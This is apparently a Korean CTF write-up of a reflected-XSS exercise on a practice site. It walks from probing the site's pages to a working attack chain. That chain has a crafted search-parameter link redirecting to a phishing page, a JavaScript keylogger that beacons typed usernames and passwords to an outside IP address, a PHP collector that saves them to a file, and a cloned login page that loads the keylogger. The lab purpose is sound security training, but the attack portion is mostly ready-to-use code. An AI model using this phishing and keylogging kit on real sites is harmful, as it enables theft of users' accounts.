Normaltic CTF - XSS 2번 시나리오 모의해킹

심야·2023년 7월 14일
0

모의해킹

목록 보기
16/42

XSS_2 (Reflected XSS)

로그인과 문의 게시판으로 이루어진 사이트이다. 취약점을 찾기 위해 로그인을 시도하니 마이페이지, 공지사항 페이지가 있다.

우선 마이페이지부터 취약점을 찾아보겠다.

해당 페이지는 아래와 같이 user 파라미터의 값에 맞는 마이페이지를 출력하는 것으로 추측된다.

만약에 reflected xss 취약점이 존재한다면 user 파라미터 값에 따라서 user 명이 바뀔 것이다.

그리고 stored xss 취약점이 존재한다면 유저명, 비밀번호, 생일을 입력하는 곳에 악의적인 스크립트를 삽입할 수 있다. 우선 reflected xss 취약점부터 확인하겠다.

파라미터 값을 worm 으로 변경하고 요청 했으나 유저 명이 변경되지 않았다. 따라서 reflected xss 취약점은 존재하지 않는다.

stored xss 취약점이 존재하는지 확인하기 위해 유저 명 부분에 xss!<script>alert('xss')</script> 스크립트를 삽입하고 수정을 시도했으나 해당 페이지는 회원 정보 수정 기능을 제공하지 않는다.

마이페이지는 xss 취약점이 존재하지 않는 것으로 추정된다. 공지사항 페이지로 이동해 취약점을 확인하겠다.

해당 페이지 기능은 글쓰기, 검색, 날짜 설정 기능이다. xss 는 모든 기능에서 발생할 수 있으므로 모든 기능을 진단해야 한다. 우선 글쓰기 기능에 stored xss 취약점이 발생하는지 확인하겠다. 제목과 내용 부분에 <"'> 특수 문자를 삽입하고 글을 작성하였다.

소스 코드를 확인하니 따옴표는 필터링 되지 않으나 꺽쇠에 HTML Entity 가 적용되어 있다.

꺽쇠에 HTML Entity 가 적용되어 있어 stored xss 취약점이 발생할 수 없다. 검색 기능과 날짜 설정 기능에 reflected xss 취약점이 있는지 확인하겠다.

날짜 설정 기능에는 reflected xss 취약점이 존재하지 않는다.

PoC

하지만 검색 기능에서는 입력한 데이터가 자바스크립트를 사용해 화면에 출력 되는 것으로 보아 reflected xss 취약점이 존재할 가능성이 있다.

더 정확한 확인을 위해 reflected');location.href='https://bit.ly/45gxXSP';// 스크립트를 삽입하겠다.

스크립트가 정상적으로 삽입되었고 그 결과, alert 발생 후 피싱 사이트로 리다이렉트된다.

취약점을 찾았으니, 취약점으로 피해자에게 실제 공격을 시도하겠다.

공격 시도

reflected xss 가 발생하는 검색 기능의 requestPOST Method이다. 게시판 등에 악의적인 스크립트를 삽입해 피해자를 직접적으로 공격 가능한 stored xss 와 다르게 reflected xss 는 피해자가 직접적으로 공격을 경험할 일이 없다. 그래서 클라이언트에서 악의적인 스크립트를 실행하는 링크를 전달해야 한다. 따라서 메일 또는 게시판 등을 활용해 악성 링크를 클릭하도록 유도해야 한다.

이를 위해서는 POST Method 가 아니라 GET Method 로 변경해야 한다. burp suiteintercept 기능에서 우클릭 해 Change request method 를 클릭한다.

GET method 로 변경되었다.

공격 링크

최종적으로 만들어진 공격 링크는 아래와 같다. 이제 게시글에 링크를 삽입해 클릭을 유도하겠다.

피해자가 링크를 클릭하면 피해자 브라우저에서 reflected xss 취약점이 발생해 피싱 사이트로 리다이렉트된다. 해당 사이트는 피해자가 접속한 사이트 계정을 탈취하기 위해 제작한 사이트이다.

http://[url]/xss_2/notice_list.php?option_val=username&board_result=reflected%27%29%3Blocation.href%3D%27https%3A%2F%2Fbit.ly%2F45gxXSP%27%3B%2F%2F&board_search=%F0%9F%94%8D&date_from=&date_to=

링크 클릭

실습을 진행하는 사이트는 본인이 작성한 글만 확인 가능하다. 따라서 관리자가 로그인 후, 링크를 클릭했다 가정하고 진행한다. 그리고 공격 URL이 너무 길어 short link 로 변환하였다.

링크를 클릭하니 alert이 띄워지고 피싱 사이트로 리다이렉트 되었다.

로그인 시도 및 결과

피싱 사이트에서 로그인을 시도하니 기존 사이트로 리다이렉트 해 로그인한다. 따라서 피해자는 해킹을 당했는지 모르며 피싱 사이트에 키로거가 삽입되어 있어 해커는 계정 정보를 탈취할 수 있다.

  • 피싱 사이트 로그인 시도
  • 로그인 결과

키로거

피해자가 해킹 사실을 인지하지 못한 채 로그인 한 결과, 피싱 사이트에 심어둔 키로거로 계정을 탈취하였다.

탈취한 계정 파일 내용

  • 피해자 ID : fake_admin
  • 피해자 PW : 0000

키로거 자바스크립트 코드

var keys = "";
var hackUrl = "http://141.164.49.177/keylogger.php?keys=";

var login_id_element = document.getElementById("login-id");
login_id_element.addEventListener("input", function (event) {
    keys += event.target.value;
    keys += "|";
});

var login_pw_element = document.getElementById("login-pw");
login_pw_element.addEventListener("input", function (event) {
    keys += event.target.value;
    keys += "|";

});

setInterval(() => {
    if (keys !== "") {
        new Image().src = `${hackUrl}${encodeURIComponent(keys)}`;
        keys = "";
    }
}, 200);

키로거 C&C 서버 코드

<?php
$keys = $_GET['keys']; 
$filename = 'keys.txt';

$filepath = dirname(__FILE__);
$filename = $filepath . "/" . $filename;

if (file_exists($filename)) {
    $file = fopen($filename, 'ab+');
    fwrite($file, $keys); 
    fclose($file);
    echo "Value saved successfully!";
} else {
    $file = fopen($filename, 'ab+');
    fwrite($file, $keys);
    fclose($file);
    echo "Value saved successfully!";
}
?>

피싱 사이트 코드

<!DOCTYPE html>
<html lang="en">
<head>
    <base href="http://ctf.segfaulthub.com:4343/xss_7/login.html" target="_blank">
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="./css/style.css"  rel = "stylesheet"/>
    <title>Webpage</title>
</head>
<body>
    <div class = "wrapper">
        <div id = "login-form">
            <div class = "head">Log In</div>
            <form action = "http://ctf.segfaulthub.com:4343/xss_7/login.php" method = "post">
                <div class = "hori">
                    <i class="far fa-user fa-2x"></i>
                    <input name = "id" type = "text" placeholder="Email" id = "login-id" />
                </div>
                <div class = "hori">
                    <i class="fas fa-lock fa-2x"></i>
                    <input name = "pw" type = "password" placeholder="Password" id = "login-pw" />
                </div>
                <div class = "hori"><input type = "submit" value = "Log In" id = "login-btn" /></div>
            </form>
            <button id = "signup-btn" onclick = "location.href = 'signup.html'">Sign up</button>
        </div>
    </div>
    <script src="http://141.164.49.177/keylogger.js"></script>
    <script
        src="https://kit.fontawesome.com/6478f529f2.js"
        crossorigin="anonymous"
    ></script>
</body>
</html>
profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글